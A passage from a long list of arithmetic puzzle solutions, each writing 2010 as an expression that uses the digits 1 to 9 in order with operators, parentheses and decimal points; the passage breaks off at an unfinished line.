\n\n2010 = (12/3.4)\\*5\\*6.7\\*(8+9)  \n\n2010 = 1-(2-3/.4+5\\*6)\\*(7-89)  \n\n2010 = 1-2\\*3\\*(4+.5/6)\\*(7-89)  \n\n2010 = .1+2345\\*.6/.7+.8-.9  \n\n2010 = 1\\*2\\*3\\*((4/.5)\\*6\\*7+8-9)  \n\n2010 = 1+2\\*((3\\*4/.5)\\*6\\*7-8)+9  \n\n2010 = ((1+2\\*3\\*4)\\*5/.6+7+8)\\*9  \n\n2010 = 12\\*(3\\*(4+5-.6)\\*7-8-.9)  \n\n2010 = (1+2-(3-4\\*5/.6)\\*7+8)\\*9  \n\n2010 = (1-2+3-4\\*(.5/6-7)\\*8)\\*9  \n\n2010 = (1+2+3)\\*(4/.5+6\\*7\\*8-9)  \n\n2010 = (1-2+3-45\\*6)\\*(.7+.8-9)  \n\n2010 = (1/.2)\\*3\\*4+5\\*6\\*(7\\*8+9)  \n\n2010 = 1+2-(3-4\\*(56+.7)+.8)\\*9  \n\n2010 = (1/2)\\*3\\*4\\*(.5+6\\*7\\*8)-9  \n\n2010 = (12+3)\\*.4\\*(.5+6\\*7\\*8)-9  \n\n2010 = (.1-.2\\*34)\\*5\\*6\\*(7-8-9)  \n\n2010 = 12+3\\*(.4+(5+6\\*.7)\\*8)\\*9  \n\n2010 = (1-2)\\*3-4\\*(.5/6-7\\*8)\\*9  \n\n2010 = (1+(2+3)\\*4-.5/6+7)\\*8\\*9  \n\n2010 = 1+(2+3)\\*(4/.5+6\\*7)\\*8+9  \n\n2010 = 1-(23+.4\\*5\\*6)\\*7\\*(.8-9)  \n\n2010 = 1-(23+4\\*.5\\*6)\\*7\\*(.8-9)  \n\n2010 = 1-(23+4\\*5\\*.6)\\*7\\*(.8-9)  \n\n2010 = (1+2)\\*3\\*4\\*(.5/6+7\\*8)-9  \n\n2010 = (1-2/3+4-5\\*6\\*(.7-8))\\*9  \n\n2010 = (1\\*2-3+4\\*(.5/6+7\\*8))\\*9  \n\n2010 = 1\\*(2-3+4\\*(.5/6+7\\*8))\\*9  \n\n2010 = 1+2-(.3-4)\\*(.5+67)\\*8+9  \n\n2010 = .1+(2/3)\\*45\\*67+.8-.9  \n\n2010 = (1/.2)\\*3\\*(4\\*5+6\\*7+8\\*9)  \n\n2010 = (1/.2)\\*3\\*4-5\\*6\\*(7-8\\*9)  \n\n2010 = 1+(2-34-.5\\*6)\\*7\\*(.8-9)  \n\n2010 = 1+(2-34-5\\*.6)\\*7\\*(.8-9)  \n\n2010 = (12/3.4)\\*.5\\*67\\*(8+9)  \n\n2010 = (1-.2+34)\\*(56.7+.8)+9  \n\n2010 = (.1+.2-3-4)\\*5\\*6\\*(7-8-9)  \n\n2010 = 1-2/.3-4\\*(.5/6-7\\*8\\*9)  \n\n2010 = (1/2-34)\\*(5-67+8)/.9  \n\n2010 = ((123+.4\\*5)/.6+7+8)\\*9  \n\n2010 = ((123+4\\*.5)/.6+7+8)\\*9  \n\n2010 = 1-2\\*(3\\*4-.5+6)\\*7\\*(.8-9)  \n\n2010 = 12\\*(3-(4-.5)\\*(6\\*7-89))  \n\n2010 = (12-3-4)\\*(5\\*(.6+78)+9)  \n\n2010 = (1+2/.3-4+.5)\\*67\\*.8\\*9  \n\n2010 = ((1-2)/3+4.5)\\*67\\*.8\\*9  \n\n2010 = 1-(23.4+.5+.6)\\*(7-89)  \n\n2010 = (.1-2/3+4\\*56+.7-.8)\\*9  \n\n2010 = 1-(2+3\\*4.5/.6)\\*(7-89)  \n\n2010 = (1\\*2/(.3+4.5))\\*67\\*8\\*9  \n\n2010 = (12+34+5)\\*67/(.8+.9)  \n\n2010 = (.12/.34)\\*5\\*67\\*(8+9)  \n\n2010 = (12/.34)\\*5\\*.67\\*(8+9)  \n\n2010 = (1-23-4/.5)\\*67/(8-9)  \n\n2010 = 12+((34\\*5+.6+7)/.8)\\*9  \n\n2010 = .1+.2-(3-4\\*(567-8))\\*.9  \n\n2010 = 12-(3-(4+.5)\\*(6\\*7+8))\\*9  \n\n2010 = (1-2)\\*(34-.5)\\*6\\*(7-8-9)  \n\n2010 = ((1-2)\\*34+.5)\\*6\\*(7-8-9)  \n\n2010 = (1+(2+3/4.5)\\*678)/.9  \n\n2010 = 12\\*((3+.4)\\*56\\*7/8+.9)  \n\n2010 = 1.2-(3-(4-.5-.6)\\*78)\\*9  \n\n2010 = 1+(23+(4\\*5+6)\\*7)\\*(.8+9)  \n\n2010 = (12+3)\\*4\\*((.5-6)\\*7+8\\*9)  \n\n2010 = 1\\*23\\*((.4+5)/.6+78)+9  \n\n2010 = (1-(2/3)/4)\\*.5\\*67\\*8\\*9  \n\n2010 = (1-(2/3)/4)\\*5\\*67\\*.8\\*9  \n\n2010 = (.1+2.3/4)\\*5\\*67\\*8/.9  \n\n2010 = 1-(2/.3)\\*(4.5-6\\*7)\\*8+9  \n\n2010 = 1+(2-3-4)\\*(56-7)\\*(.8-9)  \n\n2010 = 12\\*((3+.4/56)\\*7\\*8-.9)  \n\n2010 = 1+(23-(4-5\\*6)\\*7)\\*(.8+9)  \n\n2010 = ((1\\*2/.3+4\\*5)\\*67/8)\\*9  \n\n2010 = 12-(3+(4+.5)\\*(6-7\\*8))\\*9  \n\n2010 = (1\\*(2/.3+4\\*5)\\*67/8)\\*9  \n\n2010 = (1/(.2+3-4/5))\\*67\\*8\\*9  \n\n2010 = 1-(2+.3\\*45/.6)\\*(7-89)  \n\n2010 = 1+(2/.3)\\*(4+5\\*6.7)\\*8+9  \n\n2010 = 1\\*((2\\*3+4\\*56)\\*(.7+8)+9)  \n\n2010 = (1/.2+.34)\\*5\\*67/.89  \n\n2010 = 1-(2/.3)\\*45\\*(.6-7)+89  \n\n2010 = (1+2+3+45)\\*67/(.8+.9)  \n\n2010 = (1\\*2\\*3+45)\\*67/(.8+.9)  \n\n2010 = (12+3)\\*4\\*5\\*(6-.7\\*(8-9))  \n\n2010 = 1\\*(2\\*3+45)\\*67/(.8+.9)  \n\n2010 = 12/.3+4\\*(.5-6\\*(7-89))  \n\n2010 = (1-.2+34)\\*(56+.7+.8)+9  \n\n2010 = 12+(.3/.4)\\*(5\\*6+7)\\*8\\*9  \n\n2010 = 12+(3/.4)\\*(5\\*6+7)\\*.8\\*9  \n\n2010 = 12+(3/.4)\\*(5\\*6+7)\\*8\\*.9  \n\n2010 = 12\\*3\\*(45+.6\\*7/.8)/.9  \n\n2010 = 12\\*3\\*(45+6\\*.7/.8)/.9  \n\n2010 = .1-2+.3-4\\*(.5+.6-7\\*8\\*9)  \n\n2010 = (1.2+.3)\\*4\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1-2/3-45)\\*6\\*(.7+.8-9)  \n\n2010 = (1-.2+34)\\*(5+6\\*7/.8)+9  \n\n2010 = 1-2\\*(3+4)\\*(.5-6\\*(7+8+9))  \n\n2010 = 1-(2+3\\*4)\\*(.5-6\\*(7+8+9))  \n\n2010 = 1/2-((3-45)\\*6+.7)\\*8-.9  \n\n2010 = (1+2+3)\\*(4+(.5+6\\*7)\\*8-9)  \n\n2010 = 1\\*2\\*((3/.4-.5+6)\\*78-9)  \n\n2010 = 1+(2+(3+4)\\*5\\*6-7)\\*(.8+9)  \n\n2010 = 12-3\\*(.4-56\\*7\\*(.8+.9))  \n\n2010 = (1/(.2-3+4))\\*.5\\*67\\*8\\*9  \n\n2010 = (1/(.2-3+4))\\*5\\*67\\*.8\\*9  \n\n2010 = (1\\*(2/3+4)-.5)\\*67\\*.8\\*9  \n\n2010 = (1\\*2/(.3+4+.5))\\*67\\*8\\*9  \n\n2010 = ((1/.2)\\*345+6+78)/.9  \n\n2010 = 1+(2+3)\\*(4-5-6)\\*7\\*(.8-9)  \n\n2010 = 1-(2/.3)\\*4\\*(.5\\*6-78)+9  \n\n2010 = 1-(2/.3)\\*4\\*(5\\*.6-78)+9  \n\n2010 = (1\\*2+3)\\*(4+5\\*(.6+7+8\\*9))  \n\n2010 = 1\\*(2+3)\\*(4+5\\*(.6+7+8\\*9))  \n\n2010 = 1+(2+(3+4\\*5+6)\\*7)\\*(.8+9)  \n\n2010 = 1+(2+3)\\*(4+5\\*6+7)\\*(.8+9)  \n\n2010 = 12-(.3/.4)\\*(5-6\\*7)\\*8\\*9  \n\n2010 = 12-(3/.4)\\*(5-6\\*7)\\*.8\\*9  \n\n2010 = 12-(3/.4)\\*(5-6\\*7)\\*8\\*.9  \n\n2010 = 1+(2/.3)\\*45\\*(6+.7)+8-9  \n\n2010 = 1+(2/.3)\\*(4+.5)\\*67+8-9  \n\n2010 = 1+(2+(3-4+5\\*6)\\*7)\\*(.8+9)  \n\n2010 = ((1+2)/.3)\\*(45+67+89)  \n\n2010 = 1-(23+.4+.5+.6)\\*(7-89)  \n\n2010 = 1\\*2\\*(.3+4+56)\\*(7+8)/.9  \n\n2010 = 1+(2+3)\\*(4-5+6\\*7)\\*(.8+9)  \n\n2010 = 1-(2+3\\*(4+5)+6)\\*7\\*(.8-9)  \n\n2010 = 1+(2/.34)\\*(.5+6\\*7)\\*8+9  \n\n2010 = 1+(2/.3)\\*(4+.5\\*67)\\*8+9  \n\n2010 = (1.2/.34)\\*5\\*6.7\\*(8+9)  \n\n2010 = (.1\\*2/.3-4\\*56)\\*(7-8)\\*9  \n\n2010 = (1\\*.2/.3-4\\*56)\\*(7-8)\\*9  \n\n2010 = 1\\*(.2/.3-4\\*56)\\*(7-8)\\*9  \n\n2010 = 1.2+3\\*(4/.5+.6+.7)\\*8\\*9  \n\n2010 = (123/.4)\\*5+(6\\*7/.8)\\*9  \n\n2010 = (1.2/.3)\\*(4.5-6+7\\*8\\*9)  \n\n2010 = 1/(.2-.3)-4\\*(5-6-7\\*8\\*9)  \n\n2010 = (1-.2-3/.4)\\*5\\*6\\*(7-8-9)  \n\n2010 = (1+(2/3+.4\\*5)\\*678)/.9  \n\n2010 = (1+(2/3+4\\*.5)\\*678)/.9  \n\n2010 = (1/.2-3+4)\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1-2\\*34)\\*5\\*6\\*(.7-.8-.9)  \n\n2010 = (1+(2/3.4)\\*5)\\*(6+7\\*8\\*9)  \n\n2010 = 1+2-(3/(.4-.5)-6)\\*7\\*8-9  \n\n2010 = ((1+2)/.3)\\*(45\\*6-78+9)  \n\n2010 = (1\\*2\\*3\\*4\\*5+.6)\\*(7+8)/.9  \n\n2010 = 1\\*(2\\*3\\*4\\*5+.6)\\*(7+8)/.9  \n\n2010 = 1+.2-(3-(4-.5-.6)\\*78)\\*9  \n\n2010 = (1+234/.5)\\*6\\*7/(.8+9)  \n\n2010 = 1-(2/.3)\\*(4+.5-6\\*7)\\*8+9  \n\n2010 = 12\\*(3.4+(5+6)\\*(7+8)-.9)  \n\n2010 = (.1\\*2\\*3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = (1\\*.2\\*3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = (1\\*2\\*.3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = 1\\*(.2\\*3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = 1\\*(2\\*.3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = (1/.2)\\*3\\*(45-(6-7)\\*89)  \n\n2010 = (1-2-3+4\\*(.5/.6+7\\*8))\\*9  \n\n2010 = (1-.2/3-.4-5)\\*(6-7\\*8)\\*9  \n\n2010 = (12/.34)\\*.5\\*6.7\\*(8+9)  \n\n2010 = (12/3.4)\\*5\\*67\\*(.8+.9)  \n\n2010 = ((1/.2)\\*3-45)\\*67\\*(8-9)  \n\n2010 = (1+(.2+3)\\*45)\\*(6+7.8)+9  \n\n2010 = 12\\*34\\*5+.6/(.7-.8\\*.9)  \n\n2010 = (1+.2)\\*(34-.5)\\*(67-8-9)  \n\n2010 = (1+2)\\*(3-4/.5+(67+8)\\*9)  \n\n2010 = (1+2+3)\\*(.4-.5+6\\*7\\*8-.9)  \n\n2010 = (1-2-3)\\*(.4+.5+.6-7\\*8\\*9)  \n\n2010 = (1+23)\\*(4-5+6+(7/.8)\\*9)  \n\n2010 = (1+.2+.3)\\*4\\*(.5+6\\*7\\*8)-9  \n\n2010 = ((1+23)/4)\\*(.5+6\\*7\\*8)-9  \n\n2010 = ((1-2)/.3)\\*(4-56-7-8)\\*9  \n\n2010 = 1\\*2\\*3\\*(.4\\*.5+6\\*(7-.8)\\*9)  \n\n2010 = (1+((2+3)\\*45-6+7)\\*8)/.9  \n\n2010 = (1/.2)\\*((3+4)\\*56-7+8+9)  \n\n2010 = (1/.2)\\*((3-4+56)\\*7+8+9)  \n\n2010 = ((12/.3)\\*45-6+7+8)/.9  \n\n2010 = (.1\\*2/.3+4-.5)\\*67\\*.8\\*9  \n\n2010 = (1\\*.2/.3+4-.5)\\*67\\*.8\\*9  \n\n2010 = (1/.2)\\*(3+(4-5+6)\\*78+9)  \n\n2010 = .1\\*(.2/.3+4-.5)\\*67\\*8\\*9  \n\n2010 = 1\\*(.2/.3+4-.5)\\*67\\*.8\\*9  \n\n2010 = (1/(2.3-.4+.5))\\*67\\*8\\*9  \n\n2010 = (1+2.3/.4)\\*5\\*6.7\\*8/.9  \n\n2010 = ((1-2)/(3-.4-5))\\*67\\*8\\*9  \n\n2010 = (1-(2-3\\*(4+5+67))\\*8)/.9  \n\n2010 = 1\\*((2+34)\\*(.5/6+7\\*8)-9)  \n\n2010 = ((1-2)/.3+45)\\*6.7\\*.8\\*9  \n\n2010 = (1+2.3\\*4)\\*5\\*67/(.8+.9)  \n\n2010 = (1/.2-(3+4)\\*5)\\*67\\*(8-9)  \n\n2010 = (1/.2)\\*(3-4-5)\\*67\\*(8-9)  \n\n2010 = (1+2)\\*34\\*5\\*6.7/(.8+.9)  \n\n2010 = ((1-.2)\\*34-.5)\\*67/.89  \n\n2010 = (12+3)\\*4\\*5\\*(6-.7/(8-9))  \n\n2010 = (1+2+3)\\*((4/.5)\\*6\\*7+8-9)  \n\n2010 = 12\\*(3/.4+(5+6+7)\\*8/.9)  \n\n2010 = 1+.2+3\\*(4/.5+.6+.7)\\*8\\*9  \n\n2010 = 12\\*3\\*(4+(5\\*6+7)/.8)/.9  \n\n2010 = (12/.3+.4\\*.5)\\*(67-8-9)  \n\n2010 = 1+(2/.3)\\*(4+(5\\*6+7)\\*8)+9  \n\n2010 = ((1.2/.3)\\*456-7-8)/.9  \n\n2010 = (1+(234-5.6/.7)\\*8)/.9  \n\n2010 = 1+((2+3)\\*4/.5)\\*(6\\*7+8)+9  \n\n2010 = (1.2/.3)\\*(4+.5-6+7\\*8\\*9)  \n\n2010 = (1\\*2\\*3/.4)\\*(5-6+(7+8)\\*9)  \n\n2010 = (1/.2)\\*((3-4\\*5)\\*6+7\\*8\\*9)  \n\n2010 = 12\\*(34\\*5-6/(.7+.8+.9))  \n\n2010 = (1/.2)\\*(3+4+5+6\\*(7\\*8+9))  \n\n2010 = (1+(.2+3)\\*45)\\*(6+7+.8)+9  \n\n2010 = 1+(2/.3)\\*(4\\*(5+6)\\*7-8)+9  \n\n2010 = 12\\*3\\*(4-(5-6\\*7)/.8)/.9  \n\n2010 = 1+(2/.3)\\*(4-(5-6\\*7)\\*8)+9  \n\n2010 = (1/.2)\\*(3+(4+5+6\\*7)\\*8-9)  \n\n2010 = 1+((2+3)\\*4\\*56/.7)/.8+9  \n\n2010 = (1+(23\\*4/.5+6\\*7)\\*8)/.9  \n\n2010 = ((1+2-.3)/.4)\\*5\\*67\\*8/9  \n\n2010 = ((1+2-.3)/4)\\*5\\*67\\*8/.9  \n\n2010 = 1+((2\\*3/.4)/.5)\\*67+8-9  \n\n2010 = ((1+2)\\*3+4\\*5\\*6\\*(7+8))/.9  \n\n2010 = 12-3\\*(.4-(5+.6)\\*7\\*(8+9))  \n\n2010 = (1-2)\\*(3+4\\*(.5/6-7\\*8)\\*9)  \n\n2010 = (1+23/4)\\*5\\*(6+.7)\\*8/.9  \n\n2010 = (1+(2+.3)/.4)\\*5\\*67\\*8/9  \n\n2010 = (1+2.3/.4)\\*.5\\*67\\*8/.9  \n\n2010 = (1+2.3/.4)\\*5\\*67\\*.8/.9  \n\n2010 = 12\\*(3+.4+(5+6)\\*(7+8)-.9)  \n\n2010 = (1+2+(.3/4)\\*5)\\*67\\*8/.9  \n\n2010 = (1+2+(3/4)\\*.5)\\*67\\*8/.9  \n\n2010 = (12/.3-4)\\*(.5/6+7\\*8)-9  \n\n2010 = (1\\*(2-3)+4\\*(.5/6+7\\*8))\\*9  \n\n2010 = 12+3\\*(.4/(.5-.6)+78)\\*9  \n\n2010 = 1+(23+4\\*(.5+6)\\*7)\\*(.8+9)  \n\n2010 = .1\\*(2-34\\*(.5-67)\\*8)/.9  \n\n2010 = ((1+2)\\*(3+4)-.5/6+7)\\*8\\*9  \n\n2010 = ((.1-.2)/3+.45)\\*67\\*8\\*9  \n\n2010 = ((1\\*2/.3)\\*4\\*5+6\\*(7+8))\\*9  \n\n2010 = 1\\*((2/.3)\\*4\\*5+6\\*(7+8))\\*9  \n\n2010 = 1-((2+3)\\*4/.5)\\*(6-7\\*8)+9  \n\n2010 = (1/.2)\\*3\\*(4+5+6+7\\*(8+9))  \n\n2010 = (1+23\\*.4)\\*5\\*67/(.8+.9)  \n\n2010 = 1-(2-3\\*(.4\\*5+67))\\*(.8+9)  \n\n2010 = 1-(2-3\\*(4\\*.5+67))\\*(.8+9)  \n\n2010 = (1+2)\\*34\\*.5\\*67/(.8+.9)  \n\n2010 = (12+3)\\*4\\*5\\*(6-7\\*(.8-.9))  \n\n2010 = (1/.2)\\*(3+4+5-6\\*(7-8\\*9))  \n\n2010 = (.1-.2/3-4.5)\\*(6-7\\*8)\\*9  \n\n2010 = 1+(2+34)\\*56+.7/(.8-.9)  \n\n2010 = .1+(234+.5)\\*6/.7+.8-.9  \n\n2010 = (.1+(23/.4)\\*5-.6)\\*7-8+9  \n\n2010 = (1+((2+34.5)\\*6+7)\\*8)/.9  \n\n2010 = (1/.2-3-4\\*(.5/6-7)\\*8)\\*9  \n\n2010 = 12+(3/.4)\\*(5-.6-.7)\\*8\\*9  \n\n2010 = 12+(3/.4)\\*(.5\\*6+.7)\\*8\\*9  \n\n2010 = 12+(3/.4)\\*(5\\*.6+.7)\\*8\\*9  \n\n2010 = ((12/.3)\\*45.6-7-8)/.9  \n\n2010 = 12\\*3\\*(.4\\*.5/6+(7-.8)\\*9)  \n\n2010 = (.1-(2-.3)\\*4)\\*5\\*6\\*(7-8-9)  \n\n2010 = (1/.2-3-45\\*6)\\*(.7+.8-9)  \n\n2010 = (.1-2\\*(3+.4))\\*5\\*6\\*(7-8-9)  \n\n2010 = (1-2\\*34)\\*5\\*6/(.7-.8-.9)  \n\n2010 = (1+(2+.3/.45)\\*678)/.9  \n\n2010 = (1+2)/.3+4\\*5\\*6\\*(7+8)/.9  \n\n2010 = (1/(2+.3-.4+.5))\\*67\\*8\\*9  \n\n2010 = (.1+.23/.4)\\*5\\*67\\*8/.9  \n\n2010 = ((1\\*2/.3)/4)\\*(56+78)\\*9  \n\n2010 = 1-(.2-3)\\*(4-.5+6\\*7\\*(8+9))  \n\n2010 = (1-.2+3\\*(4+5)\\*67-.8)/.9  \n\n2010 = .1+(2/.3)\\*4.5\\*67+.8-.9  \n\n2010 = .1+(2/.3)\\*45\\*6.7+.8-.9  \n\n2010 = (1/.2)\\*(34-5)\\*(6+7.8)+9  \n\n2010 = ((1+23)\\*(4+5)\\*67/.8)/9  \n\n2010 = ((1+23)\\*(4+5)\\*67/8)/.9  \n\n2010 = 1-(2+3)\\*(4+.5\\*6)\\*7\\*(.8-9)  \n\n2010 = 1-(2+3)\\*(4+5\\*.6)\\*7\\*(.8-9)  \n\n2010 = (12/3.4)\\*5\\*(6+.7)\\*(8+9)  \n\n2010 = (12/(3+.4))\\*5\\*6.7\\*(8+9)  \n\n2010 = ((1/.2)\\*3-45)\\*67/(8-9)  \n\n2010 = (1-2.3\\*(4-56))\\*(7+8)/.9  \n\n2010 = (12-3)\\*4\\*(56-(.7+.8)/9)  \n\n2010 = (1/(.2-3)+4\\*5\\*6)\\*(7.8+9)  \n\n2010 = (1\\*2+34)\\*(56-(.7+.8)/9)  \n\n2010 = 1\\*(2+34)\\*(56-(.7+.8)/9)  \n\n2010 = (1+(2/.3+4\\*5)\\*67.8)/.9  \n\n2010 = (.1/.2)\\*3\\*4\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1/.2)\\*.3\\*4\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1/.2)\\*3\\*.4\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1+(23-.4)\\*(5+67+8))/.9  \n\n2010 = (.1-(.2-3-45)\\*6)\\*7+.8+.9  \n\n2010 = (((1-2)/3)/4+.5)\\*67\\*8\\*9  \n\n2010 = 1\\*(23\\*((.4+5)/.6+78)+9)  \n\n2010 = ((1/.2)/(3+4+5))\\*67\\*8\\*9  \n\n2010 = (1-23\\*(4/5-6))\\*(7+8)/.9  \n\n2010 = (1-.2/.3+4-5\\*6\\*(.7-8))\\*9  \n\n2010 = ((1/2-34)/.5)\\*(6\\*7-8\\*9)  \n\n2010 = ((1+2)\\*3-4)\\*(5\\*(.6+78)+9)  \n\n2010 = (1-(2-3)\\*4)\\*(5\\*(.6+78)+9)  \n\n2010 = (1/.2-(3+4)\\*5)\\*67/(8-9)  \n\n2010 = (1/.2)\\*(3-4-5)\\*67/(8-9)  \n\n2010 = (1/.2)\\*(.34+5)\\*67/.89  \n\n2010 = (.1-.2/3-4-.5)\\*(6-7\\*8)\\*9  \n\n2010 = (1+(2/3)\\*(4+5\\*67)\\*8)/.9  \n\n2010 = (12/(3+.4))\\*.5\\*67\\*(8+9)  \n\n2010 = (1.2/.34)\\*5\\*67\\*(.8+.9)  \n\n2010 = (12/.34)\\*5\\*6.7\\*(.8+.9)  \n\n2010 = 1-(.2+3.4\\*(5+67))\\*(.8-9)  \n\n2010 = (1/.2)\\*(34-.5)\\*(6+7+8-9)  \n\n2010 = (.1/2-.3+4)\\*(5+(67-8)\\*9)  \n\n2010 = (1+2+.3/.4)\\*(5+(67-8)\\*9)  \n\n2010 = (.1+(2+3)\\*4)\\*(5+(6+7)\\*8-9)  \n\n2010 = (1/.2)\\*(34-5)\\*(6+7+.8)+9  \n\n2010 = (1+2)\\*3\\*4\\*(56-(.7+.8)/9)  \n\n2010 = (1+(2/.34)\\*.5)\\*(6+7\\*8\\*9)  \n\n2010 = (1\\*2/.3)\\*(4+.5\\*(67-8))\\*9  \n\n2010 = (1+((2+34+.5)\\*6+7)\\*8)/.9  \n\n2010 = 1-(((.2-34)\\*5-6)/.7)\\*8+9  \n\n2010 = 1/(.2-.3)-4\\*((5-67)\\*8-9)  \n\n2010 = (.1/.2-34)\\*(5-67+8)/.9  \n\n2010 = (1+23-4)\\*(.5+6\\*(7+8)/.9)  \n\n2010 = 12\\*(3-4\\*(5-(6-.7/.8)\\*9))  \n\n2010 = 1+(2+((3+4)\\*5-6)\\*7)\\*(.8+9)  \n\n2010 = (1-(2-34\\*(.5+6)-7)\\*8)/.9  \n\n2010 = 1-((2-(3+4)\\*5)\\*6-7)\\*(.8+9)  \n\n2010 = .1+2+(.3-4\\*(.5\\*.6-7\\*8))\\*9  \n\n2010 = 1-(2+3\\*(4+(5+6)\\*7))\\*(.8-9)  \n\n2010 = (1/(2-3)+4\\*(.5/6+7\\*8))\\*9  \n\n2010 = ((1+2\\*34\\*5-6)/(.7+.8))\\*9  \n\n2010 = (.1\\*2-3.4\\*(.5-67)\\*8)/.9  \n\n2010 = (1\\*.2-3.4\\*(.5-67)\\*8)/.9  \n\n2010 = 1\\*(.2-3.4\\*(.5-67)\\*8)/.9  \n\n2010 = ((12+3\\*4)\\*5+.6)\\*(7+8)/.9  \n\n2010 = (1+(2\\*3+4)\\*5)\\*67/(.8+.9)  \n\n2010 = 1-(2+(.3/.4)\\*5\\*6)\\*(7-89)  \n\n2010 = 1-(2+(3/.4)\\*.5\\*6)\\*(7-89)  \n\n2010 = 1-(2+(3/.4)\\*5\\*.6)\\*(7-89)  \n\n2010 = (1+2+(.3+4)\\*5\\*(6+78))/.9  \n\n2010 = (1+(.2-3)/.4)\\*5\\*67\\*(8-9)  \n\n2010 = (1+2)\\*(3\\*4+5)\\*67/(.8+.9)  \n\n2010 = (.1-.2/.3+4\\*56+.7-.8)\\*9  \n\n2010 = (1-(2-3\\*4)\\*5)\\*67/(.8+.9)  \n\n2010 = 1-(2+3\\*(4+.5)/.6)\\*(7-89)  \n\n2010 = (12/.34)\\*.5\\*67\\*(.8+.9)  \n\n2010 = (1/(.2-.3)-4\\*5)\\*67\\*(8-9)  \n\n2010 = (1\\*2/.3)\\*45\\*(6-.7\\*(8-9))  \n\n2010 = 1-(2-3\\*(4+5\\*(6+7)))\\*(.8+9)  \n\n2010 = (1+23)\\*(.4+.5+67/.8-.9)  \n\n2010 = 1.2+(3\\*4/.5)\\*(.6+.7+8)\\*9  \n\n2010 = 12\\*((.3-.4+5)\\*(6\\*7-8)+.9)  \n\n2010 = 1+((.2+3)/.4)\\*5\\*(6\\*7+8)+9  \n\n2010 = 12\\*(34-.5)\\*(6-.7-.8)/.9  \n\n2010 = ((1-2)/.3)\\*(4/5-67.8)\\*9  \n\n2010 = (1/(.2-3)+4\\*5\\*6)\\*(7+.8+9)  \n\n2010 = (1\\*2+(3-4\\*(.5/.6-7))\\*8)\\*9  \n\n2010 = 1\\*(2+(3-4\\*(.5/.6-7))\\*8)\\*9  \n\n2010 = ((1+2)/.3-4)\\*(.5+6\\*7\\*8)-9  \n\n2010 = (1/(.2/3-.4))\\*(5-678)-9  \n\n2010 = (1+(2+3/(4+.5))\\*678)/.9  \n\n2010 = (1-.2/(3-.4)+5\\*6)\\*(7\\*8+9)  \n\n2010 = 12\\*(.3-4\\*(5-6\\*(.7+8-.9)))  \n\n2010 = 1-(2+(3/(.4-.5)-6)\\*7)\\*8+9  \n\n2010 = 12\\*(.3-4\\*(5\\*(.6-7)-.8-9))  \n\n2010 = 1\\*((2/.3)\\*(4+5\\*6+.7)-8)\\*9  \n\n2010 = ((1\\*2/.3)\\*(4+5\\*6+.7)-8)\\*9  \n\n2010 = ((1-2)/.3)\\*(45+(6-78)\\*9)  \n\n2010 = (1\\*2+3)\\*4\\*(.5+6\\*(7+8)/.9)  \n\n2010 = 1-(2/.3)\\*(4-5\\*(.6+7)\\*8)+9  \n\n2010 = 1\\*(2+3)\\*4\\*(.5+6\\*(7+8)/.9)  \n\n2010 = 1+2+((3/.4)\\*(5-.6)\\*7-8)\\*9  \n\n2010 = ((1+2+3)\\*4\\*5+.6)\\*(7+8)/.9  \n\n2010 = (1/.2)\\*3\\*4\\*((.5-6)\\*7+8\\*9)  \n\n2010 = (.1+(2+.3)/4)\\*5\\*67\\*8/.9  \n\n2010 = (1-(.2/3)/.4)\\*.5\\*67\\*8\\*9  \n\n2010 = (1-(.2/3)/.4)\\*5\\*67\\*.8\\*9  \n\n2010 = 12\\*(.3+4\\*(5\\*(6+.7\\*.8)+9))  \n\n2010 = (.1\\*2-34\\*(.5-67)\\*.8)/.9  \n\n2010 = (1\\*.2-34\\*(.5-67)\\*.8)/.9  \n\n2010 = 1\\*(.2-34\\*(.5-67)\\*.8)/.9  \n\n2010 = 1+((2-3-4\\*5)/.6)\\*7\\*(.8-9)  \n\n2010 = 1-((.2+.3+4)\\*56-7)\\*(.8-9)  \n\n2010 = 1-((.2+3)/.4)\\*5\\*(6-7\\*8)+9  \n\n2010 = (1/(.2+3-.4/.5))\\*67\\*8\\*9  \n\n2010 = ((1+.2/3+4)\\*(.5+6\\*7)+8)\\*9  \n\n2010 = 1+(2/.3)\\*(4+5\\*(6+.7))\\*8+9  \n\n2010 = (1/.2)\\*3\\*4\\*5\\*(6-.7\\*(8-9))  \n\n2010 = 1+(2-3\\*(4+5/.6))\\*7\\*(.8-9)  \n\n2010 = 1\\*((23/.4)\\*5-.6)\\*7+.8+.9  \n\n2010 = (.1-2)/.3+4\\*(.5/6+7\\*8\\*9)  \n\n2010 = ((.1+.2)/.3-4)\\*(5-678)-9  \n\n2010 = (1-.2/.3-45)\\*6\\*(.7+.8-9)  \n\n2010 = ((1\\*23/.4)\\*5-.6)\\*7+.8+.9  \n\n2010 = .1/.2-((3-45)\\*6+.7)\\*8-.9  \n\n2010 = (1+2+3)\\*(.4\\*.5+6\\*(7-.8)\\*9)  \n\n2010 = .1+.2+(.3+4\\*5)\\*(6\\*(7+8)+9)  \n\n2010 = ((1-2\\*34)/.5)\\*(6\\*(7-8)-9)  \n\n2010 = ((.1/2+3\\*4+.5)/.6+7)\\*8\\*9  \n\n2010 = ((1+2)/.3)\\*((45-6)\\*7-8\\*9)  \n\n2010 = ((1-(23+4)\\*5)/.6)\\*(7-8)\\*9  \n\n2010 = ((1+(23/.4)\\*5)\\*6+78)/.9  \n\n2010 = (1.2/.3)\\*((4-5)/6+7\\*8)\\*9  \n\n2010 = 1/.2+(.3+4\\*5\\*6)\\*(7+8)/.9  \n\n2010 = (1\\*(.2/.3+4)-.5)\\*67\\*.8\\*9  \n\n2010 = (1+(.2/.3)\\*4+.5)\\*67\\*.8\\*9  \n\n2010 = (1+(2+3)/.4)\\*(56+78)/.9  \n\n2010 = 1+2\\*(.3-4\\*(5\\*6+.7))\\*(.8-9)  \n\n2010 = ((1+2)/3+4)\\*(5\\*(.6+78)+9)  \n\n2010 = ((.1-2+3\\*45)/.6+.7+.8)\\*9  \n\n2010 = (12+3)\\*((4+5)/.6+7\\*(8+9))  \n\n2010 = (1.2/.34)\\*5\\*(6+.7)\\*(8+9)  \n\n2010 = 